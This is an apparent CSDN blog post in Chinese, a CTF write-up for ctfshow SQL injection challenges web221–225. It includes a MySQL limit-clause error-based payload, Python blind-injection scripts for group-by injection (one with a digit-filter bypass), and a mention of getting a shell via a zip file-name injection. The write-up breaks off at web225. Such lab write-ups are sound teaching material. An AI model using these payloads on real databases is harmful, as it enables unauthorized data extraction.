CTFshow sql注入 上篇(web221-253)

这篇博客详细介绍了CTF比赛中的多个SQL注入题目,包括limit注入、group by注入、堆叠注入、update注入和insert注入等。作者通过实例解析了解题思路,涉及MySQL的各种注入技巧,如盲注、预编译、union重命名法和比较法盲注等,并给出了不同过滤条件下的绕过策略。
摘要由CSDN通过智能技术生成
`


前言

开始下半部分


题目

web221(limit注入)

做之前,可以先看一下p神的博客,有讲关于limit注入的,版本限制(5.0.0-5.6.6)

https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

补充以下:

这里分两种情况,limit前面有无order by,有order by可以用union联合查询的

SELECT * from user LIMIT 1,1 union select * from user

20220411131449
题目用不了union,说明有order by

直接用p神的payload,数据库名就是flag

procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

因为版本问题,select用不了,所以也不能查到更多信息

web222(group by注入)

看到有个去重,点击抓包

初步判断一下,可以用concat(if(1=1,"username",cot(0))),根据回显直接用盲注
在这里插入图片描述

# @Author:Kradress
import requests
import string

url = "http://12ee4415-b331-421c-b9d4-a077a8e155fd.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
payload = "select flagaabc from ctfshow_flaga"

for i in range(1,46):
    print(i)
    for j in dict:
        s = f"?u=concat(if(substr(({
     payload}),{
     i},1)='{
     j}',username,cot(0)))#"
        r = requests.get(url+s)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

web223(group by注入)

对数字进行了过滤

# @Author:Kradress
import requests
import string

url = "http://7702b56c-35d9-4b80-abdc-bb0956f4bce5.challenge.ctf.show/api/"

result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"

# 爆表名  
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"

def numToStr(str):
    parts = []
    for s in str:
        parts.append(numToStr2(s))
    res = ','.join(parts)
    return f"concat({
     res})"

def numToStr2(num):
    parts = []
    n = ord(num)
    for i in range(n):
        parts.append("true")
    res = "+".join(parts)
    return f"char({
     res})"

for i in range(1,46):
    print(i)
    for j in dict:
        params={
   
            'u' : f"concat(if(substr(({
     payload}),{
     numToStr(str(i))},true)={
     numToStr(j)},username,cot(false)))#"
        }
        r = requests.get(url, params=params)
        # print(r.url)
        if("ctfshow" in r.text):
            result +=j
            print(result)
            break

web224(文件名注入)

登陆页面试了半天进不去,后面发现有个robot.txt,里面有个重置密码页面

成功进了后台,发现是一个文件上传点,但经过测试,只能上传zip

在这里插入图片描述

没什么思路,群里有个payload.bin可以上传,访问1.php可以getshell
(y1ng师傅也有详细讲解)

https://blog.gem-love.com/ctf/2283.html#%E4%BD%A0%E6%B2%A1%E8%A7%81%E8%BF%87%E7%9A%84%E6%B3%A8%E5%85%A5

web225 (堆叠注入)

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值